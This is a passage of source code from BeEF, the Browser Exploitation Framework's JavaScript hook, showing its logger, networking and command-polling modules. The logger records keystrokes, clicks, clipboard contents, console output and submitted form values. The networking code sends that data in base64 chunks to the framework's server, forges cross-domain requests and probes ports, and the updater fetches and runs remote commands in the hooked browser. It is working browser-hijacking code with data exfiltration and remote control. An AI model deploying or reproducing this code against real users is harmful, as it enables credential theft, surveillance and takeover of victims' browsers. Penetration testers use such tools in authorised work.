  7244. * Contains current target of key presses
  7245. */
  7246. target: null,
  7247. /**
  7248. * Holds the time the logger was started
  7249. */
  7250. time: null,
  7251. /**
  7252. * Holds the event details to be sent to BeEF
  7253. */
  7254. e: function() {
  7255. this.id = beef.logger.get_id();
  7256. this.time = beef.logger.get_timestamp();
  7257. this.type = null;
  7258. this.x = 0;
  7259. this.y = 0;
  7260. this.target = null;
  7261. this.data = null;
  7262. this.mods = null;
  7263. },
  7264. /**
  7265. * Prevents from recursive event handling on form submission
  7266. */
  7267. in_submit: false,
  7268.  
  7269. /**
  7270. * Starts the logger
  7271. */
  7272. start: function() {
  7273.  
  7274. beef.browser.hookChildFrames();
  7275. this.running = true;
  7276. var d = new Date();
  7277. this.time = d.getTime();
  7278.  
  7279. $j(document).off('keypress');
  7280. $j(document).off('click');
  7281. $j(window).off('focus');
  7282. $j(window).off('blur');
  7283. $j('form').off('submit');
  7284. $j(document.body).off('copy');
  7285. $j(document.body).off('cut');
  7286. $j(document.body).off('paste');
  7287.  
  7288. if (!!window.console && typeof window.console == "object") {
  7289. try {
  7290. var oldInfo = window.console.info;
  7291. console.info = function (message) {
  7292. beef.logger.console('info', message);
  7293. oldInfo.apply(console, arguments);
  7294. };
  7295. var oldLog = window.console.log;
  7296. console.log = function (message) {
  7297. beef.logger.console('log', message);
  7298. oldLog.apply(console, arguments);
  7299. };
  7300. var oldWarn = window.console.warn;
  7301. console.warn = function (message) {
  7302. beef.logger.console('warn', message);
  7303. oldWarn.apply(console, arguments);
  7304. };
  7305. var oldDebug = window.console.debug;
  7306. console.debug = function (message) {
  7307. beef.logger.console('debug', message);
  7308. oldDebug.apply(console, arguments);
  7309. };
  7310. var oldError = window.console.error;
  7311. console.error = function (message) {
  7312. beef.logger.console('error', message);
  7313. oldError.apply(console, arguments);
  7314. };
  7315. } catch(e) {}
  7316. }
  7317.  
  7318. $j(document).keypress(
  7319. function(e) { beef.logger.keypress(e); }
  7320. ).click(
  7321. function(e) { beef.logger.click(e); }
  7322. );
  7323. $j(window).focus(
  7324. function(e) { beef.logger.win_focus(e); }
  7325. ).blur(
  7326. function(e) { beef.logger.win_blur(e); }
  7327. );
  7328. $j('form').submit(
  7329. function(e) {
  7330. beef.logger.submit(e);
  7331. }
  7332. );
  7333. $j(document.body).on('copy', function() {
  7334. setTimeout("beef.logger.copy();", 10);
  7335. });
  7336. $j(document.body).on('cut', function() {
  7337. setTimeout("beef.logger.cut();", 10);
  7338. });
  7339. $j(document.body).on('paste', function() {
  7340. beef.logger.paste();
  7341. });
  7342. },
  7343.  
  7344. /**
  7345. * Stops the logger
  7346. */
  7347. stop: function() {
  7348. this.running = false;
  7349. clearInterval(this.timer);
  7350. $j(document).off('keypress');
  7351. $j(document).off('click');
  7352. $j(window).off('focus');
  7353. $j(window).off('blur');
  7354. $j('form').off('submit');
  7355. $j(document.body).off('copy');
  7356. $j(document.body).off('cut');
  7357. $j(document.body).off('paste');
  7358. // TODO: reset console
  7359. },
  7360.  
  7361. /**
  7362. * Get id
  7363. */
  7364. get_id: function() {
  7365. this.id++;
  7366. return this.id;
  7367. },
  7368.  
  7369. /**
  7370. * Click function fires when the user clicks the mouse.
  7371. */
  7372. click: function(e) {
  7373. var c = new beef.logger.e();
  7374. c.type = 'click';
  7375. c.x = e.pageX;
  7376. c.y = e.pageY;
  7377. c.target = beef.logger.get_dom_identifier(e.target);
  7378. this.events.push(c);
  7379. },
  7380.  
  7381. /**
  7382. * Fires when the window element has regained focus
  7383. */
  7384. win_focus: function(e) {
  7385. var f = new beef.logger.e();
  7386. f.type = 'focus';
  7387. this.events.push(f);
  7388. },
  7389.  
  7390. /**
  7391. * Fires when the window element has lost focus
  7392. */
  7393. win_blur: function(e) {
  7394. var b = new beef.logger.e();
  7395. b.type = 'blur';
  7396. this.events.push(b);
  7397. },
  7398.  
  7399. /**
  7400. * Keypress function fires everytime a key is pressed.
  7401. * @param {Object} e: event object
  7402. */
  7403. keypress: function(e) {
  7404. if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
  7405. {
  7406. beef.logger.push_stream();
  7407. this.target = e.target;
  7408. }
  7409. this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
  7410. },
  7411.  
  7412. /**
  7413. * Copy function fires when the user copies data to the clipboard.
  7414. */
  7415. copy: function(x) {
  7416. try {
  7417. var c = new beef.logger.e();
  7418. c.type = 'copy';
  7419. c.data = clipboardData.getData("Text");
  7420. this.events.push(c);
  7421. } catch(e) {}
  7422. },
  7423.  
  7424. /**
  7425. * Cut function fires when the user cuts data to the clipboard.
  7426. */
  7427. cut: function() {
  7428. try {
  7429. var c = new beef.logger.e();
  7430. c.type = 'cut';
  7431. c.data = clipboardData.getData("Text");
  7432. this.events.push(c);
  7433. } catch(e) {}
  7434. },
  7435.  
  7436. /**
  7437. * Console function fires when data is sent to the browser console.
  7438. */
  7439. console: function(type, message) {
  7440. try {
  7441. var c = new beef.logger.e();
  7442. c.type = 'console';
  7443. c.data = type + ': ' + message;
  7444. this.events.push(c);
  7445. } catch(e) {}
  7446. },
  7447.  
  7448. /**
  7449. * Paste function fires when the user pastes data from the clipboard.
  7450. */
  7451. paste: function() {
  7452. try {
  7453. var c = new beef.logger.e();
  7454. c.type = 'paste';
  7455. c.data = clipboardData.getData("Text");
  7456. this.events.push(c);
  7457. } catch(e) {}
  7458. },
  7459.  
  7460. /**
  7461. * Submit function fires whenever a form is submitted
  7462. * TODO: Cleanup this function
  7463. */
  7464. submit: function(e) {
  7465. if (beef.logger.in_submit) {
  7466. return true;
  7467. }
  7468. try {
  7469. var f = new beef.logger.e();
  7470. f.type = 'submit';
  7471. f.target = beef.logger.get_dom_identifier(e.target);
  7472. var jqForms = $j(e.target);
  7473. var values = jqForms.find('input').map(function() {
  7474. var inp = $j(this);
  7475. return inp.attr('name') + '=' + inp.val();
  7476. }).get().join();
  7477. beef.debug('submitting form inputs: ' + values);
  7478. /*
  7479. for (var i = 0; i < e.target.elements.length; i++) {
  7480. values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
  7481. }
  7482. */
  7483. f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
  7484. this.events.push(f);
  7485. this.queue();
  7486. this.target = null;
  7487. beef.net.flush(function done() {
  7488. beef.debug("Submitting the form");
  7489. beef.logger.in_submit = true;
  7490. jqForms.submit();
  7491. beef.logger.in_submit = false;
  7492. beef.debug("Done submitting");
  7493. });
  7494. e.preventDefault();
  7495. return false;
  7496. } catch(e) {}
  7497. },
  7498.  
  7499. /**
  7500. * Pushes the current stream to the events queue
  7501. */
  7502. push_stream: function() {
  7503. if (this.stream.length > 0)
  7504. {
  7505. this.events.push(beef.logger.parse_stream());
  7506. this.stream = [];
  7507. }
  7508. },
  7509.  
  7510. /**
  7511. * Translate DOM Object to a readable string
  7512. */
  7513. get_dom_identifier: function(target) {
  7514. target = (target == null) ? this.target : target;
  7515. var id = '';
  7516. if (target)
  7517. {
  7518. id = target.tagName.toLowerCase();
  7519. id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
  7520. id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
  7521. }
  7522. return id;
  7523. },
  7524.  
  7525. /**
  7526. * Formats the timestamp
  7527. * @return {String} timestamp string
  7528. */
  7529. get_timestamp: function() {
  7530. var d = new Date();
  7531. return ((d.getTime() - this.time) / 1000).toFixed(3);
  7532. },
  7533.  
  7534. /**
  7535. * Parses stream array and creates history string
  7536. */
  7537. parse_stream: function() {
  7538. var s = '';
  7539. var mods = '';
  7540. for (var i in this.stream){
  7541. try{
  7542. var mod = this.stream[i]['modifiers'];
  7543. s += String.fromCharCode(this.stream[i]['char']);
  7544. if(typeof mod != 'undefined' &&
  7545. (mod['alt'] == true ||
  7546. mod['ctrl'] == true ||
  7547. mod['shift'] == true)){
  7548. mods += (mod['alt']) ? ' [Alt] ' : '';
  7549. mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
  7550. mods += (mod['shift']) ? ' [Shift] ' : '';
  7551. mods += String.fromCharCode(this.stream[i]['char']);
  7552. }
  7553.  
  7554. }catch(e){}
  7555. }
  7556. var k = new beef.logger.e();
  7557. k.type = 'keys';
  7558. k.target = beef.logger.get_dom_identifier();
  7559. k.data = s;
  7560. k.mods = mods;
  7561. return k;
  7562. },
  7563.  
  7564. /**
  7565. * Queue results to be sent back to framework
  7566. */
  7567. queue: function() {
  7568. beef.logger.push_stream();
  7569. if (this.events.length > 0)
  7570. {
  7571. beef.net.queue('/event', 0, this.events);
  7572. this.events = [];
  7573. }
  7574. }
  7575.  
  7576. };
  7577.  
  7578. beef.regCmp('beef.logger');
  7579.  
  7580.  
  7581. //
  7582. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  7583. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7584. // See the file 'doc/COPYING' for copying permission
  7585. //
  7586.  
  7587. /*!
  7588. * @literal object: beef.net
  7589. *
  7590. * Provides basic networking functions,
  7591. * like beef.net.request and beef.net.forgeRequest,
  7592. * used by BeEF command modules and the Requester extension,
  7593. * as well as beef.net.send which is used to return commands
  7594. * to BeEF server-side components.
  7595. *
  7596. * Also, it contains the core methods used by the XHR-polling
  7597. * mechanism (flush, queue)
  7598. */
  7599. beef.net = {
  7600.  
  7601. host: "127.0.0.1",
  7602. port: "3000",
  7603. hook: "/hook.js",
  7604. httpproto: "http",
  7605. handler: '/dh',
  7606. chop: 500,
  7607. pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
  7608. sid_count: 0,
  7609. cmd_queue: [],
  7610.  
  7611. /**
  7612. * Command object. This represents the data to be sent back to BeEF,
  7613. * using the beef.net.send() method.
  7614. */
  7615. command: function () {
  7616. this.cid = null;
  7617. this.results = null;
  7618. this.status = null;
  7619. this.handler = null;
  7620. this.callback = null;
  7621. },
  7622.  
  7623. /**
  7624. * Packet object. A single chunk of data. X packets -> 1 stream
  7625. */
  7626. packet: function () {
  7627. this.id = null;
  7628. this.data = null;
  7629. },
  7630.  
  7631. /**
  7632. * Stream object. Contains X packets, which are command result chunks.
  7633. */
  7634. stream: function () {
  7635. this.id = null;
  7636. this.packets = [];
  7637. this.pc = 0;
  7638. this.get_base_url_length = function () {
  7639. return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
  7640. };
  7641. this.get_packet_data = function () {
  7642. var p = this.packets.shift();
  7643. return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
  7644. };
  7645. },
  7646.  
  7647. /**
  7648. * Response Object - used in the beef.net.request callback
  7649. * NOTE: as we are using async mode, the response object will be empty if returned.
  7650. * Using sync mode, request obj fields will be populated.
  7651. */
  7652. response: function () {
  7653. this.status_code = null; // 500, 404, 200, 302
  7654. this.status_text = null; // success, timeout, error, ...
  7655. this.response_body = null; // "<html>…." if not a cross-origin request
  7656. this.port_status = null; // tcp port is open, closed or not http
  7657. this.was_cross_domain = null; // true or false
  7658. this.was_timedout = null; // the user specified timeout was reached
  7659. this.duration = null; // how long it took for the request to complete
  7660. this.headers = null; // full response headers
  7661. },
  7662.  
  7663. /**
  7664. * Queues the specified command results.
  7665. * @param: {String} handler: the server-side handler that will be called
  7666. * @param: {Integer} cid: command id
  7667. * @param: {String} results: the data to send
  7668. * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  7669. * @param: {Function} callback: the function to call after execution
  7670. */
  7671. queue: function (handler, cid, results, status, callback) {
  7672. if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
  7673. var s = new beef.net.command();
  7674. s.cid = cid;
  7675. s.results = beef.net.clean(results);
  7676. s.status = status;
  7677. s.callback = callback;
  7678. s.handler = handler;
  7679. this.cmd_queue.push(s);
  7680. }
  7681. },
  7682.  
  7683. /**
  7684. * Queues the current command results and flushes the queue straight away.
  7685. * NOTE: Always send Browser Fingerprinting results
  7686. * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
  7687. * even if WebSockets are enabled.
  7688. * @param: {String} handler: the server-side handler that will be called
  7689. * @param: {Integer} cid: command id
  7690. * @param: {String} results: the data to send
  7691. * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  7692. * @param: {Function} callback: the function to call after execution
  7693. * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
  7694. */
  7695. send: function (handler, cid, results, exec_status, callback) {
  7696. // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
  7697. var status = 0;
  7698. if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
  7699.  
  7700. if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
  7701. this.queue(handler, cid, results, status, callback);
  7702. this.flush();
  7703. } else {
  7704. try {
  7705. beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
  7706. '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
  7707. '", "status": "' + exec_status +
  7708. '", "callback": "' + callback +
  7709. '","bh":"' + beef.session.get_hook_session_id() + '" }');
  7710. } catch (e) {
  7711. this.queue(handler, cid, results, status, callback);
  7712. this.flush();
  7713. }
  7714. }
  7715.  
  7716. return status;
  7717. },
  7718.  
  7719. /**
  7720. * Flush all currently queued command results to the framework,
  7721. * chopping the data in chunks ('chunk' method) which will be re-assembled
  7722. * server-side by the network stack.
  7723. * NOTE: currently 'flush' is used only with the default
  7724. * XHR-polling mechanism. If WebSockets are used, the data is sent
  7725. * back to BeEF straight away.
  7726. */
  7727. flush: function (callback) {
  7728. if (this.cmd_queue.length > 0) {
  7729. var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
  7730. this.cmd_queue.length = 0;
  7731. this.sid_count++;
  7732. var stream = new this.stream();
  7733. stream.id = this.sid_count;
  7734. var pad = stream.get_base_url_length() + this.pad;
  7735. //cant continue if chop amount is too low
  7736. if ((this.chop - pad) > 0) {
  7737. var data = this.chunk(data, (this.chop - pad));
  7738. for (var i = 1; i <= data.length; i++) {
  7739. var packet = new this.packet();
  7740. packet.id = i;
  7741. packet.data = data[(i - 1)];
  7742. stream.packets.push(packet);
  7743. }
  7744. stream.pc = stream.packets.length;
  7745. this.push(stream, callback);
  7746. }
  7747. } else {
  7748. if ((typeof callback != 'undefined') && (callback != null)) {
  7749. callback();
  7750. }
  7751. }
  7752. },
  7753.  
  7754. /**
  7755. * Split the input data into chunk lengths determined by the amount parameter.
  7756. * @param: {String} str: the input data
  7757. * @param: {Integer} amount: chunk length
  7758. */
  7759. chunk: function (str, amount) {
  7760. if (typeof amount == 'undefined') n = 2;
  7761. return str.match(RegExp('.{1,' + amount + '}', 'g'));
  7762. },
  7763.  
  7764. /**
  7765. * Push the input stream back to the BeEF server-side components.
  7766. * It uses beef.net.request to send back the data.
  7767. * @param: {Object} stream: the stream object to be sent back.
  7768. */
  7769. push: function (stream, callback) {
  7770. //need to implement wait feature here eventually
  7771. if (typeof callback === 'undefined') {
  7772. callback = null;
  7773. }
  7774. for (var i = 0; i < stream.pc; i++) {
  7775. var cb = null;
  7776. if (i == (stream.pc - 1)) {
  7777. cb = callback;
  7778. }
  7779. this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
  7780. stream.get_packet_data(), 10, 'text', cb);
  7781. }
  7782. },
  7783.  
  7784. /**
  7785. * Performs http requests
  7786. * @param: {String} scheme: HTTP or HTTPS
  7787. * @param: {String} method: GET or POST
  7788. * @param: {String} domain: bindshell.net, 192.168.3.4, etc
  7789. * @param: {Int} port: 80, 5900, etc
  7790. * @param: {String} path: /path/to/resource
  7791. * @param: {String} anchor: this is the value that comes after the # in the URL
  7792. * @param: {String} data: This will be used as the query string for a GET or post data for a POST
  7793. * @param: {Int} timeout: timeout the request after N seconds
  7794. * @param: {String} dataType: specify the data return type expected (ie text/html/script)
  7795. * @param: {Function} callback: call the callback function at the completion of the method
  7796. *
  7797. * @return: {Object} response: this object contains the response details
  7798. */
  7799. request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
  7800. //check if same domain or cross domain
  7801. var cross_domain = true;
  7802. if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
  7803. if (document.location.port == "" || document.location.port == null) {
  7804. cross_domain = !(port == "80" || port == "443");
  7805. }
  7806. }
  7807.  
  7808. //build the url
  7809. var url = "";
  7810. if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  7811. url = path;
  7812. } else {
  7813. url = scheme + "://" + domain;
  7814. url = (port != null) ? url + ":" + port : url;
  7815. url = (path != null) ? url + path : url;
  7816. url = (anchor != null) ? url + "#" + anchor : url;
  7817. }
  7818.  
  7819. //define response object
  7820. var response = new this.response;
  7821. response.was_cross_domain = cross_domain;
  7822. var start_time = new Date().getTime();
  7823.  
  7824. /*
  7825. * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  7826. * This will turn POSTs into GETs for remote-domain requests.
  7827. */
  7828. if (method == "POST") {
  7829. $j.ajaxSetup({
  7830. dataType: dataType
  7831. });
  7832. } else {
  7833. $j.ajaxSetup({
  7834. dataType: 'script'
  7835. });
  7836. }
  7837.  
  7838. //build and execute the request
  7839. $j.ajax({type: method,
  7840. url: url,
  7841. data: data,
  7842. timeout: (timeout * 1000),
  7843.  
  7844. //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  7845. beforeSend: function (xhr) {
  7846. if (method == "POST") {
  7847. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  7848. }
  7849. },
  7850. success: function (data, textStatus, xhr) {
  7851. var end_time = new Date().getTime();
  7852. response.status_code = xhr.status;
  7853. response.status_text = textStatus;
  7854. response.response_body = data;
  7855. response.port_status = "open";
  7856. response.was_timedout = false;
  7857. response.duration = (end_time - start_time);
  7858. },
  7859. error: function (jqXHR, textStatus, errorThrown) {
  7860. var end_time = new Date().getTime();
  7861. response.response_body = jqXHR.responseText;
  7862. response.status_code = jqXHR.status;
  7863. response.status_text = textStatus;
  7864. response.duration = (end_time - start_time);
  7865. response.port_status = "open";
  7866. },
  7867. complete: function (jqXHR, textStatus) {
  7868. response.status_code = jqXHR.status;
  7869. response.status_text = textStatus;
  7870. response.headers = jqXHR.getAllResponseHeaders();
  7871. // determine if TCP port is open/closed/not-http
  7872. if (textStatus == "timeout") {
  7873. response.was_timedout = true;
  7874. response.response_body = "ERROR: Timed out\n";
  7875. response.port_status = "closed";
  7876. } else if (textStatus == "parsererror") {
  7877. response.port_status = "not-http";
  7878. } else {
  7879. response.port_status = "open";
  7880. }
  7881. }
  7882. }).always(function () {
  7883. if (callback != null) {
  7884. callback(response);
  7885. }
  7886. });
  7887. return response;
  7888. },
  7889.  
  7890. /*
  7891. * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
  7892. * - requestid: needed on the callback
  7893. * - allowCrossDomain: set cross-domain requests as allowed or blocked
  7894. *
  7895. * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
  7896. * Example usage:
  7897. * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
  7898. * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
  7899. * alert(response.response_body)})
  7900. */
  7901. forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
  7902.  
  7903. if (domain == "undefined" || path == "undefined") {
  7904. beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
  7905. return;
  7906. }
  7907.  
  7908. // check if same domain or cross domain
  7909. var cross_domain = true;
  7910. if (document.domain == domain && document.location.protocol == scheme + ':') {
  7911. if (document.location.port == "" || document.location.port == null) {
  7912. cross_domain = !(port == "80" || port == "443");
  7913. } else {
  7914. if (document.location.port == port) cross_domain = false;
  7915. }
  7916. }
  7917.  
  7918. // build the url
  7919. var url = "";
  7920. if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  7921. url = path;
  7922. } else {
  7923. url = scheme + "://" + domain;
  7924. url = (port != null) ? url + ":" + port : url;
  7925. url = (path != null) ? url + path : url;
  7926. url = (anchor != null) ? url + "#" + anchor : url;
  7927. }
  7928.  
  7929. // define response object
  7930. var response = new this.response;
  7931. response.was_cross_domain = cross_domain;
  7932. var start_time = new Date().getTime();
  7933.  
  7934. // if cross-domain requests are not allowed and the request is cross-domain
  7935. // don't proceed and return
  7936. if (allowCrossDomain == "false" && cross_domain) {
  7937. beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
  7938. response.status_code = -1;
  7939. response.status_text = "crossdomain";
  7940. response.port_status = "crossdomain";
  7941. response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
  7942. response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
  7943. if (callback != null) callback(response, requestid);
  7944. return response;
  7945. }
  7946.  
  7947. // if the request was cross-domain from a HTTPS origin to HTTP
  7948. // don't proceed and return
  7949. if (document.location.protocol == 'https:' && scheme == 'http') {
  7950. beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
  7951. response.status_code = -1;
  7952. response.status_text = "mixedcontent";
  7953. response.port_status = "mixedcontent";
  7954. response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
  7955. response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
  7956. if (callback != null) callback(response, requestid);
  7957. return response;
  7958. }
  7959.  
  7960. /*
  7961. * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  7962. * This will turn POSTs into GETs for remote-domain requests.
  7963. */
  7964. if (method == "POST") {
  7965. $j.ajaxSetup({
  7966. dataType: dataType
  7967. });
  7968. } else {
  7969. $j.ajaxSetup({
  7970. dataType: 'script'
  7971. });
  7972. }
  7973.  
  7974. // this is required for bugs in IE so data can be transferred back to the server
  7975. if (beef.browser.isIE()) {
  7976. dataType = 'script'
  7977. }
  7978.  
  7979. $j.ajax({type: method,
  7980. dataType: dataType,
  7981. url: url,
  7982. headers: headers,
  7983. timeout: (timeout * 1000),
  7984.  
  7985. //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  7986. beforeSend: function (xhr) {
  7987. if (method == "POST") {
  7988. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  7989. }
  7990. },
  7991.  
  7992. data: data,
  7993.  
  7994. // http server responded successfully
  7995. success: function (data, textStatus, xhr) {
  7996. var end_time = new Date().getTime();
  7997. response.status_code = xhr.status;
  7998. response.status_text = textStatus;
  7999. response.response_body = data;
  8000. response.was_timedout = false;
  8001. response.duration = (end_time - start_time);
  8002. },
  8003.  
  8004. // server responded with a http error (403, 404, 500, etc)
  8005. // or server is not a http server
  8006. error: function (xhr, textStatus, errorThrown) {
  8007. var end_time = new Date().getTime();
  8008. response.response_body = xhr.responseText;
  8009. response.status_code = xhr.status;
  8010. response.status_text = textStatus;
  8011. response.duration = (end_time - start_time);
  8012. },
  8013.  
  8014. complete: function (xhr, textStatus) {
  8015. // cross-domain request
  8016. if (cross_domain) {
  8017.  
  8018. response.port_status = "crossdomain";
  8019.  
  8020. if (xhr.status != 0) {
  8021. response.status_code = xhr.status;
  8022. } else {
  8023. response.status_code = -1;
  8024. }
  8025.  
  8026. if (textStatus) {
  8027. response.status_text = textStatus;
  8028. } else {
  8029. response.status_text = "crossdomain";
  8030. }
  8031.  
  8032. if (xhr.getAllResponseHeaders()) {
  8033. response.headers = xhr.getAllResponseHeaders();
  8034. } else {
  8035. response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  8036. }
  8037.  
  8038. if (!response.response_body) {
  8039. response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  8040. }
  8041.  
  8042. } else {
  8043. // same-domain request
  8044. response.status_code = xhr.status;
  8045. response.status_text = textStatus;
  8046. response.headers = xhr.getAllResponseHeaders();
  8047.  
  8048. // determine if TCP port is open/closed/not-http
  8049. if (textStatus == "timeout") {
  8050. response.was_timedout = true;
  8051. response.response_body = "ERROR: Timed out\n";
  8052. response.port_status = "closed";
  8053. /*
  8054. * With IE we need to explicitly set the dataType to "script",
  8055. * so there will be always parse-errors if the content is != javascript
  8056. * */
  8057. } else if (textStatus == "parsererror") {
  8058. response.port_status = "not-http";
  8059. if (beef.browser.isIE()) {
  8060. response.status_text = "success";
  8061. response.port_status = "open";
  8062. }
  8063. } else {
  8064. response.port_status = "open";
  8065. }
  8066. }
  8067. callback(response, requestid);
  8068. }
  8069. });
  8070. return response;
  8071. },
  8072.  
  8073. //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
  8074. //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
  8075. clean: function (r) {
  8076. if (this.array_has_string_key(r)) {
  8077. var obj = {};
  8078. for (var key in r)
  8079. obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
  8080. return obj;
  8081. }
  8082. return r;
  8083. },
  8084.  
  8085. //Detects if an array has a string key
  8086. array_has_string_key: function (arr) {
  8087. if ($j.isArray(arr)) {
  8088. try {
  8089. for (var key in arr)
  8090. if (isNaN(parseInt(key))) return true;
  8091. } catch (e) {
  8092. }
  8093. }
  8094. return false;
  8095. },
  8096.  
  8097. /**
  8098. * Sends back browser details to framework, calling beef.browser.getDetails()
  8099. */
  8100. browser_details: function () {
  8101. var details = beef.browser.getDetails();
  8102. var res = null;
  8103. details['HookSessionID'] = beef.session.get_hook_session_id();
  8104. this.send('/init', 0, details);
  8105. if(details != null)
  8106. res = true;
  8107.  
  8108. return res;
  8109. }
  8110.  
  8111. };
  8112.  
  8113.  
  8114. beef.regCmp('beef.net');
  8115.  
  8116.  
  8117. //
  8118. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8119. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8120. // See the file 'doc/COPYING' for copying permission
  8121. //
  8122.  
  8123. /*!
  8124. * @Literal object: beef.updater
  8125. *
  8126. * Object in charge of getting new commands from the BeEF framework and execute them.
  8127. * The XHR-polling channel is managed here. If WebSockets are enabled,
  8128. * websocket.ls is used instead.
  8129. */
  8130. beef.updater = {
  8131.  
  8132. // XHR-polling timeout.
  8133. xhr_poll_timeout: "1000",
  8134. beefhook: "BEEFHOOK",
  8135.  
  8136. // A lock.
  8137. lock: false,
  8138.  
  8139. // An object containing all values to be registered and sent by the updater.
  8140. objects: new Object(),
  8141.  
  8142. /*
  8143. * Registers an object to always send when requesting new commands to the framework.
  8144. * @param: {String} the name of the object.
  8145. * @param: {String} the value of that object.
  8146. *
  8147. * @example: beef.updater.regObject('java_enabled', 'true');
  8148. */
  8149. regObject: function(key, value) {
  8150. this.objects[key] = escape(value);
  8151. },
  8152.  
  8153. // Checks for new commands from the framework and runs them.
  8154. check: function() {
  8155. if(this.lock == false) {
  8156. if (beef.logger.running) {
  8157. beef.logger.queue();
  8158. }
  8159. beef.net.flush();
  8160. if(beef.commands.length > 0) {
  8161. this.execute_commands();
  8162. }else {
  8163. this.get_commands(); /*Polling*/
  8164. }
  8165. }
  8166. /* The following gives a stupid syntax error in IE, which can be ignored*/
  8167. setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
  8168. },
  8169.  
  8170. /**
  8171. * Gets new commands from the framework.
  8172. */
  8173. get_commands: function() {
  8174. try {
  8175. this.lock = true;
  8176. beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
  8177. if (response.body != null && response.body.length > 0)
  8178. beef.updater.execute_commands();
  8179. });
  8180. } catch(e) {
  8181. this.lock = false;
  8182. return;
  8183. }
  8184. this.lock = false;
  8185. },
  8186.  
  8187. /**
  8188. * Executes the received commands, if any.
  8189. */
  8190. execute_commands: function() {
  8191. if(beef.commands.length == 0) return;
  8192. this.lock = true;
  8193. while(beef.commands.length > 0) {
  8194. command = beef.commands.pop();
  8195. try {
  8196. command();
  8197. } catch(e) {
  8198. beef.debug('execute_commands - command failed to execute: ' + e.message);
  8199. // prints the command source to be executed, to better trace errors
  8200. // beef.client_debug must be enabled in the main config
  8201. beef.debug(command.toString());
  8202. }
  8203. }
  8204. this.lock = false;
  8205. }
  8206. };
  8207.  
  8208. beef.regCmp('beef.updater');
  8209.  
  8210.  
  8211. //
  8212. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8213. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8214. // See the file 'doc/COPYING' for copying permission
  8215. //
  8216.  
  8217. // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
  8218.  
  8219. beef.encode = {};
  8220.  
  8221. beef.encode.base64 = {
  8222.  
  8223. keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  8224.  
  8225. encode : function (input) {
  8226. if (window.btoa) {
  8227. return btoa(unescape(encodeURIComponent(input)));
  8228. }
  8229.  
  8230. var output = "";
  8231. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  8232. var i = 0;
  8233.  
  8234. input = beef.encode.base64.utf8_encode(input);
  8235.  
  8236. while (i < input.length) {
  8237.  
  8238. chr1 = input.charCodeAt(i++);
  8239. chr2 = input.charCodeAt(i++);
  8240. chr3 = input.charCodeAt(i++);
  8241.  
